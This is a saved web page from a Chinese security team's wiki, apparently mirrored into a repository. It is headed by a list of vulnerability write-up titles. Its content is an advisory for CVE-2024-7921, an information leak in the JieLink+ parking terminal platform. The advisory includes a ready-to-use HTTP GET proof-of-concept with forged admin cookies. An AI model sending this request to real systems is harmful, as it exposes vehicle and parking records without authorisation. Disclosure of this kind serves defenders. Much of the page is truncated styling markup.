【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK_ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 _ 安全团队贡献平台
万户graph include.jsp sql注入的漏洞分析
万户oa中receivefile_gd存在SQL注入
亿赛通新一代电子文档安全管理系统 SecretKeyService SQL注入漏洞
亿赛通新一代电子文档安全管理系统 logincontroller JNDI注入致远程代码执行漏洞(XVE-2024-8758)
亿赛通新一代电子文档安全管理系统-LogDownLoadService-mssql-sql注入漏洞分析
亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析
亿赛通电子文档安全管理系统 CDGAuthoriseTempletService1 SecretLevelId SQL注入漏洞代码分析2
亿赛通电子文档安全管理系统DecryptionApp反序列化漏洞RCE
从seacms12.9教你学会代码审计
代码审计之nbcio-boot从信息泄露到Getshell
信呼OA nickName SQL注入漏洞复现(XVE-2024-19304)
内网活动目录利用方法
内网渗透横向移动技巧
域内日志分析
安卓逆向——Frida的进阶用法
帆软 FineReport ReportServer SQL注入致RCE漏洞
悦库企业网盘 userlogin
护网红队-从apk反编译审计到getshell全过程
易宝oa软件两处-ExecuteSqlForSingle注入分析与复现
智慧校园(安校易)管理系统 ReceiveClassVideo.ashx 存在文件上传漏洞
比较有意思的几个漏洞挖掘记录
泛微e-cology testConnByBasePassword JDNI注入致远程代码执行漏洞分析(XVE-2024-20913)
泛微云桥e-Bridge addResume任意文件上传漏洞分析
浅析通天星CMSV6车载定位监控平台远程代码执行漏洞
海康威视iSecure Center综合安防管理平台认证绕过分析
海康威视综合安防管理平台clusters页面文件上传漏洞
海康威视综合安防管理平台uploadAllPackage任意文件上传漏洞复现分析
海康威视综合安防系统 detection 接口远程命令执行
深澜认证计费系统代码审计（登录绕过_前后台RCE_文件读取_信息泄漏_XXS_SSRF）
用友NC complainbilldetail SQL注入漏洞
用友致远OA后台RCE constDef.do命令执行漏洞分析
积木报表AviatorScript代码注入RCE分析
章管家印章智慧管理平台 listUploadIntelligent接口sql注入漏洞分析与复现
蓝凌OA WechatLoginHelper.do SQL注入漏洞复现分析
记一次Spring boot框架代审与思考
记一次对通天星CMSV6车载视频监控平台的多个漏洞(getImage、delete.do、disable、merge、upload、SESSION伪造、StandardLoginAction_getAllUser、反序列化、xz_center)分析复现
记一次有趣的通达OA审计过程

											
										
										
											2024-08-30 22:09:31 -07:00
+								<!DOCTYPE html> <html class="js cssanimations"><!--
 								 Page saved with SingleFile
 								 url: https://wiki.shikangsi.com/post/share/7d5eb025-1c30-44b4-b609-61938f6d6c05
 								--><meta charset=utf-8>
 								<meta http-equiv=X-UA-Compatible content="IE=edge">
 								<meta name=description content=一个团队使用的贡献平台>
 								<meta name=keywords content=安全,团队,贡献>
 								<meta name=viewport content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
 								<title>【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK+ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞 | 安全团队贡献平台</title>
 								<meta name=renderer content=webkit>
 								<meta http-equiv=Cache-Control content=no-siteapp>
 								<meta name=mobile-web-app-capable content=yes>
 								<meta name=apple-mobile-web-app-capable content=yes>
 								<meta name=apple-mobile-web-app-status-bar-style content=black>
 								<meta name=apple-mobile-web-app-title content=安全团队贡献平台>
 								<style>/*! normalize.css v8.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-webkit-text-size-adjust:100%}hr{overflow:visible}img{border-style:none}button{font-family:inherit}[type=button]{-webkit-appearance:button}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}</style>
 								<style>/*! Amaze UI v2.7.2 | by Amaze UI Team | (c) 2016 AllMobilize, Inc. | Licensed under MIT | 2016-08-17T16:17:24+0800 */*,:after,:before{-webkit-box-sizing:border-box;box-sizing:border-box}body,html{min-height:100%}html{-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article{display:block}a{background-color:transparent}a:focus{outline:thin dotted}a:active,a:hover{outline:0}a{text-decoration:none}strong{font-weight:700}pre{white-space:pre-wrap}img{-webkit-box-sizing:border-box;box-sizing:border-box;vertical-align:middle;border:0}button{font:inherit;margin:0}button{overflow:visible}button{text-transform:none}button{-webkit-appearance:button}html{font-size:10px;-webkit-tap-highlight-color:rgba(0,0,0,0)}body{position:relative;background:#fff;font-family:"Segoe UI","Lucida Grande",Helvetica,Arial,"Microsoft YaHei",FreeSans,Arimo,"Droid Sans","wenquanyi micro hei","Hiragino Sans GB","Hiragino Sans GB W3",FontAwesome,sans-serif;font-weight:400;line-height:1.6;color:#333;font-size:1.6rem}body,button{text-rendering:optimizeLegibility;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;-moz-font-feature-settings:"liga","kern"}@media only screen and (max-width:640px){body{word-wrap:break-word;-webkit-hyphens:auto;-ms-hyphens:auto;-moz-hyphens:auto;hyphens:auto}}a:focus,a:hover{color:#095f8a}a:focus{outline:thin dotted;outline:1px auto -webkit-focus-ring-color;outline-offset:-2px}hr,p{margin:0 0 1.6rem 0}*+hr,*+p,*+pre{margin-top:1.6rem}h1,h2,h3{margin:0 0 1.6rem 0;font-weight:600;font-size:100%}h2{font-size:1.25em}*+h2,*+h3{margin-top:2em}hr{display:block;padding:0;border:0;height:0;border-top:1px solid #eee;-webkit-box-sizing:content-box;box-sizing:content-box}.am-container{-webkit-box-sizing:border-box;box-sizing:border-box;margin-left:auto;margin-right:auto;padding-left:1rem;padding-right:1rem;width:100%}.am-container:after,.am-container:before{content:" ";display:table}.am-container:after{clear:both}@media only screen and (min-width:641px){.am-container{padding-left:1.5rem;padding-right:1.5rem}}.am-container>.am-g{width:auto;margin-left:-1rem;margin-right:-1rem}@media only screen and (min-width:641px){.am-container>.am-g{margin-left:-1.5rem;margin-right:-1.5rem}}.am-g{margin:0 auto}.am-g:after,.am-g:before{content:" ";display:table}.am-g:after{clear:both}@media only screen and (min-width:641px){}[class*=am-u-]{width:100%;padding-left:1rem;padding-right:1rem;float:left;position:relative}@media only screen and (min-width:641px){[class*=am-u-]{padding-left:1.5rem;padding-right:1.5rem}}@media only screen{.am-u-sm-11{width:91.66666667%}[class*=am-u-].am-u-sm-centered{margin-left:auto;margin-right:auto;float:none}[class*=am-u-].am-u-sm-centered:last-child{float:none}}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}@media only screen{}@media only screen and (min-width:641px){}@media only screen and (min-width:1025px){}code,pre{font-family:Monaco,Menlo,Consolas,"Courier New",FontAwesome,monospace}pre{display:block;padding:1rem;margin:1rem 0;font-size:1.3rem;line-height:1.6;word-break:break-all;word-wrap:break-word;color:#555;background-color:#f8f8f8;border:1px solid #dedede;border-radius:0}pre code{padding:0;font-size:inherit;color:inherit;white-space:pre-wrap;background-color:transparent;border-radius:0}.am-btn{display:inline-block;margin-bottom:0;padding:.5em 1em;vertical-align:middle;font-size:1.6rem;font-weight:400;line-height:1.2;text-align:center;white-space:nowrap;background-image:none;border:1px solid transparent;border-radius:0;cursor:pointer;outline:0;-webkit-appearance:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;-webkit-transition:background-color .3s ease-out,border-color .3s ease-out;transition:background-color .3s ease-out,border-color .3s ease-out}.am-btn:active:focus,.am-btn:focus{outline:thin dotted;outline:1px auto -webkit-focus-ring-color;outline-offset:-2px}.am-btn:focus,.am-btn:hover{color:#444;text-decoration:none}.am-btn.am-active,.am-btn:active{background-image:none;-webkit-box-shadow:i
 								<style>body,html{height:100%}@media print{a{text-decoration:none}}@media screen and (min-width:960px){}@media screen and (max-width:959px){}.am-container{max-width:1300px}</style>
 								<style>.codehilite{background:#f8f8f8}</style>
 								<style>@media (pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
 								 * Waves v0.7.5
 								 * http://fian.my.id/Waves
 								 *
 								 * Copyright 2014-2016 Alfiana E. Sibuea and other contributors
 								 * Released under the MIT license
 								 * https://github.com/fians/Waves/blob/master/LICENSE
 								 */</style><style>@media (max-height:620px){}@media (max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media (pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:tra
 								<body>
 								<header class="am-topbar am-g am-g-collapse" style=display:none!important>
 								</header>
 								<div class=am-container>
 								<div class=am-g>
 								 <div class="am-u-sm-centered am-u-sm-11">
 								 <article class=am-article>
 								 <div class=am-article-hd>
 								 <h1 class=am-article-title>【原创】（CVE-2024-7921）安徽德顺智能科技有限公司 JIELINK+ INTELLIGENT TERMINAL OPERATION PLATROFM 信息泄露漏洞</h1>
 								 <hr>
 								 <button type=button class="am-btn am-btn-primary btn-copy" data-am-popover="{content: '已复制'}">分享</button>
 								 <h3>当前为私密分享，无需登录即可查看。</h3>
 								 <hr>
 								 </div>
 								 <table class="am-table am-table-bordered">
 								 <tbody><tr>
 								 <th>时间</th>
 								 <th class="am-text-center am-hide-sm-down">作者</th>
 								 <th width=8% class="am-text-center am-hide-sm-down">可见性</th>
 								 <th width=8% class="am-text-center am-hide-sm-down">等级</th>
 								 <th class="am-text-center am-hide-sm-down">Rank</th>
 								 </tr>
 								 <tr>
 								 <tr>
 								 <td>2024-08-05 23:02:13</td>
 								 <td class="am-text-center am-hide-sm-down"><a href=https://wiki.shikangsi.com/profile/1257/ class=am-link-muted>sanbao</a></td>
 								 <td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-success">公开的</span></td>
 								 <td class="am-text-center am-hide-sm-down"><span class="am-badge am-badge-primary">中危</span></td>
 								 <td class="am-text-center am-hide-sm-down">3</td>
 								 </tr>
 								 </table>
 								 <div class=am-article-bd>
 								 <p>CVE-2024-7921<br>Created: 08/18/2024 09:19 PM<br>Changes: 08/18/2024 09:19 PM (54)<br>Submitter: sanbao@wiki</p>
 								 <hr>
 								 <h2><strong>0x01 产品简介</strong></h2>
 								<hr>
 								<p>捷顺JieLink+智能终端操作平台(JSOTC2016 fJeLink+)是捷顺历经多年行业经验积累，集智能硬件技术视频分析技术、互联网技术等多种技术融合，基于B/S架构，实现核心业务处理模型(用户中心、投权中心财务中心中心值班室、 运维中心车行客户端等)的搭建;基于C/S架构实现岗亭收费、收费、自助服务，满足车场收费车辆特征分析处理、当班管理、业务托管、信息上报等现场业务处理。</p>
 								<h2><strong>0x02 漏洞概述</strong></h2>
 								<hr>
 								<p>JieLink+智能终端操作平台ParkOutRecord接口处存在敏感信息泄露漏洞<strong>，</strong>恶意攻击者可能会利用此漏洞修改数据库中的数据，例如添加、删除或修改记录，导致数据损坏或丢失</p>
 								<h2><strong>0x02 POC</strong></h2>
 								<pre class=codehilite><code>GET /report/ParkOutRecord/GetDataList HTTP/1.1
 								Host:
 								User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
 								Accept: application/json, text/javascript, \*/\*; q=0.01
 								Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 								Accept-Encoding: gzip, deflate, br
 								Content-Type: application/x-www-form-urlencoded; charset=UTF-8
 								Authorization: Bearer test
 								Cookie: JSESSIONID=test;UUID=1; userid=admin
 								X-Requested-With: XMLHttpRequest
 								Content-Length: 2
 								Origin:
 								Connection: close
 								Referer:
 								Sec-GPC: 1
 								Priority: u=1
 								</code></pre>
 								<p><img alt=null src="data:image/png;base64,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
 								 </div>
 								 </article>
 								 </div>
 								</div>
 								</div>
 								<div id=immersive-translate-popup style=color-scheme:initial;forced-color-adjust:initial;mask:initial;math-depth:initial;position:initial;position-anchor:initial;text-size-adjust:initial;appearance:initial;color:initial;font:initial;font-palette:initial;font-synthesis:initial;inset-area:initial;text-orientation:initial;text-rendering:initial;text-spacing-trim:initial;-webkit-font-smoothing:initial;-webkit-locale:initial;-webkit-text-orientation:initial;-webkit-writing-mode:initial;writing-mode:initial;zoom:initial;accent-color:initial;place-content:initial;place-items:initial;place-self:initial;alignment-baseline:initial;anchor-name:initial;animation-composition:initial;animation:initial;app-region:initial;aspect-ratio:initial;backdrop-filter:initial;backface-visibility:initial;background:initial;background-blend-mode:initial;baseline-shift:initial;baseline-source:initial;block-size:initial;border-block:initial;border:initial;border-radius:initial;border-collapse:initial;border-end-end-radius:initial;border-end-start-radius:initial;border-inline:initial;border-start-end-radius:initial;border-start-start-radius:initial;inset:initial;box-shadow:initial;box-sizing:initial;break-after:initial;break-before:initial;break-inside:initial;buffered-rendering:initial;caption-side:initial;caret-color:initial;clear:initial;clip:initial;clip-path:initial;clip-rule:initial;color-interpolation:initial;color-interpolation-filters:initial;color-rendering:initial;columns:initial;column-fill:initial;gap:initial;column-rule:initial;column-span:initial;contain:initial;contain-intrinsic-block-size:initial;contain-intrinsic-size:initial;contain-intrinsic-inline-size:initial;container:initial;content:initial;content-visibility:initial;counter-increment:initial;counter-reset:initial;counter-set:initial;cursor:initial;cx:initial;cy:initial;d:initial;display:none!important;dominant-baseline:initial;empty-cells:initial;field-sizing:initial;fill:initial;fill-opacity:initial;fill-rule:initial;filter:initial;flex:initial;flex-flow:initial;float:initial;flood-color:initial;flood-opacity:initial;grid:initial;grid-area:initial;height:initial;hyphenate-character:initial;hyphenate-limit-chars:initial;hyphens:initial;image-orientation:initial;image-rendering:initial;initial-letter:initial;inline-size:initial;inset-block:initial;inset-inline:initial;isolation:initial;letter-spacing:initial;lighting-color:initial;line-break:initial;list-style:initial;margin-block:initial;margin:initial;margin-inline:initial;marker:initial;mask-type:initial;math-shift:initial;math-style:initial;max-block-size:initial;max-height:initial;max-inline-size:initial;max-width:initial;min-block-size:initial;min-height:initial;min-inline-size:initial;min-width:initial;mix-blend-mode:initial;object-fit:initial;object-position:initial;object-view-box:initial;offset:initial;opacity:initial;order:initial;orphans:initial;outline:initial;outline-offset:initial;overflow-anchor:initial;overflow-clip-margin:initial;overflow-wrap:initial;overflow:initial;overlay:initial;overscroll-behavior-block:initial;overscroll-behavior-inline:initial;overscroll-behavior:initial;padding-block:initial;padding:initial;padding-inline:initial;page:initial;page-orientation:initial;paint-order:initial;perspective:initial;perspective-origin:initial;pointer-events:initial;position-try:initial;position-visibility:initial;quotes:initial;r:initial;resize:initial;rotate:initial;ruby-align:initial;ruby-position:initial;rx:initial;ry:initial;scale:initial;scroll-behavior:initial;scroll-margin-block:initial;scroll-margin:initial;scroll-margin-inline:initial;scroll-padding-block:initial;scroll-padding:initial;scroll-padding-inline:initial;scroll-snap-align:initial;scroll-snap-stop:initial;scroll-snap-type:initial;scroll-timeline:initial;scrollbar-color:initial;scrollbar-gutter:initial;scrollbar-width:initial;shape-image-threshold:initial;shape-margin:initial;shape-outside:initial;shape-rendering:initial;size:initial;speak:initial;stop-color:initial;stop-opacity:initial;stroke:initial;stroke-dasharray:initial;stroke-dashoffse
 								 * Pico.css v1.5.6 (https://picocss.com)
 								 * Copyright 2019-2022 - Licensed under MIT
 								 */#mount{--font-family:system-ui,-apple-system,"Segoe UI","Roboto","Ubuntu","Cantarell","Noto Sans",sans-serif,"Apple Color Emoji","Segoe UI Emoji","Segoe UI Symbol","Noto Color Emoji";--line-height:1.5;--font-weight:400;--font-size:16px;--border-radius:0.25rem;--border-width:1px;--outline-width:3px;--spacing:1rem;--typography-spacing-vertical:1.5rem;--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing);--grid-spacing-vertical:0;--grid-spacing-horizontal:var(--spacing);--form-element-spacing-vertical:0.75rem;--form-element-spacing-horizontal:1rem;--nav-element-spacing-vertical:1rem;--nav-element-spacing-horizontal:0.5rem;--nav-link-spacing-vertical:0.5rem;--nav-link-spacing-horizontal:0.5rem;--form-label-font-weight:var(--font-weight);--transition:0.2s ease-in-out;--modal-overlay-backdrop-filter:blur(0.25rem)}@media (min-width:576px){#mount{--font-size:17px}}@media (min-width:768px){#mount{--font-size:18px}}@media (min-width:992px){#mount{--font-size:19px}}@media (min-width:1200px){#mount{--font-size:20px}}@media (min-width:576px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*2.5)}}@media (min-width:768px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3)}}@media (min-width:992px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*3.5)}}@media (min-width:1200px){#mount>header,#mount>main,#mount>footer,section{--block-spacing-vertical:calc(var(--spacing)*4)}}@media (min-width:576px){article{--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){article{--block-spacing-horizontal:calc(var(--spacing)*1.5)}}@media (min-width:992px){article{--block-spacing-horizontal:calc(var(--spacing)*1.75)}}@media (min-width:1200px){article{--block-spacing-horizontal:calc(var(--spacing)*2)}}dialog>article{--block-spacing-vertical:calc(var(--spacing)*2);--block-spacing-horizontal:var(--spacing)}@media (min-width:576px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*2.5);--block-spacing-horizontal:calc(var(--spacing)*1.25)}}@media (min-width:768px){dialog>article{--block-spacing-vertical:calc(var(--spacing)*3);--block-spacing-horizontal:calc(var(--spacing)*1.5)}}a{--text-decoration:none}a.secondary,a.contrast{--text-decoration:underline}small{--font-size:0.875em}h1,h2,h3,h4,h5,h6{--font-weight:700}h1{--font-size:2rem;--typography-spacing-vertical:3rem}h2{--font-size:1.75rem;--typography-spacing-vertical:2.625rem}h3{--font-size:1.5rem;--typography-spacing-vertical:2.25rem}h4{--font-size:1.25rem;--typography-spacing-vertical:1.874rem}h5{--font-size:1.125rem;--typography-spacing-vertical:1.6875rem}[type="checkbox"],[type="radio"]{--border-width:2px}[type="checkbox"][role="switch"]{--border-width:3px}thead th,thead td,tfoot th,tfoot td{--border-width:3px}:not(thead,tfoot)>*>td{--font-size:0.875em}pre,code,kbd,samp{--font-family:"Menlo","Consolas","Roboto Mono","Ubuntu Monospace","Noto Mono","Oxygen Mono","Liberation Mono",monospace,"Apple Color Emoji","Segoe UI Emoji","Segoe UI 